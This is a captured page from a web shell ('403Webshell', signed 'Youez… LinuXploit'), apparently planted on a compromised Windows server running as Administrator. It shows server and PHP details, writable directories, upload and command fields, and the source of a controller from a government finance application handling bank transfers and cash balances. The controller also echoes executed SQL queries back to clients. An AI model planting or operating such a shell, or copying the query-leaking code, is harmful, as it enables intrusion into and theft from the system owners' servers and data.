403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipkd_2016/application/modules/pemindahbukuan/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipkd_2016/application/modules/pemindahbukuan/controllers/pemindahbukuan.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Pemindahbukuan extends Aktivitas_Controller {

  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'pemindahbukuan';
    $this->modul_display = 'Pemindahbukuan';
    $this->view_form = 'pemindahbukuan_form';
    $this->view_daftar = 'pemindahbukuan_view';
    $this->report_daftar = 'Daftar Pemindahbukuan';
    $this->report_form = 'Form Pemindahbukuan';
    $this->load->model('pemindahbukuan_model', 'data_model');

    $this->message_aktivitas_dihapus = 'Pemindahbukuan telah dihapus.';
    $this->message_aktivitas_gagal_dihapus = 'Pemindahbukuan telah dicairkan, tidak bisa dihapus.';
  }

  function validasi()
  {
    $this->form_validation->set_rules('id_skpd', 'SKPD', 'required|trim|integer');

    /* TODO : cek rincian ada isinya atau tidak */
  }

  function get_extra_data($id)
  {
    $extra = array();
    $extra['spp_tu'] = $this->session->userdata('konf_spp_tu');

    return $extra;
  }

  protected function extra_message()
  {
    return array(
      'id_jurnal' => $this->data_model->id_jurnal,
    );
  }

  public function rinci($id=0)
  {
    $result = $this->data_model->get_rinci_by_id($id);

    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_RINCIAN_JURNAL'];
        $response->rows[$i]['cell']=array(
                        $result[$i]['ID_RINCIAN_JURNAL'],
                        $result[$i]['ID_REKENING'],
                        $result[$i]['KODE_REKENING'],
                        $result[$i]['NAMA_REKENING'],
                        $result[$i]['DEBET'],
                        $result[$i]['KREDIT'],
                        $result[$i]['NAMA_BANK'],
                    );
      }
    }
    echo json_encode($response);
  }

  public function sisa_kas()
  {
    $param = array(
      'id' => $this->input->post('id') ? $this->input->post('id') : 0,
      'tanggal' => $this->input->post('tgl') ? prepare_date($this->input->post('tgl')) : 0,
      'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0,
      'beban' => $this->input->post('beban') ? $this->input->post('beban') : '',
      'keperluan' => $this->input->post('keperluan') ? $this->input->post('keperluan') : '',
      'id_kegiatan' => $this->input->post('id_kegiatan') ? $this->input->post('id_kegiatan') : '0',
    );

    $bank = $this->data_model->get_sisa_kas_bank($param);
    $tunai = $this->data_model->get_sisa_kas_tunai($param);

    $response = (object) NULL;
    $response = array(
      'bank' => isset($bank['NOMINAL']) ? $bank['NOMINAL'] : 0,
      'bank_tgl' => isset($bank['NOMINAL_TANGGAL']) ? $bank['NOMINAL_TANGGAL'] : 0,
      'tunai' => isset($tunai['NOMINAL']) ? $tunai['NOMINAL'] : 0,
      'tunai_tgl' => isset($tunai['NOMINAL_TANGGAL']) ? $tunai['NOMINAL_TANGGAL'] : 0,
      'sql' => $this->db->queries,
    );
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit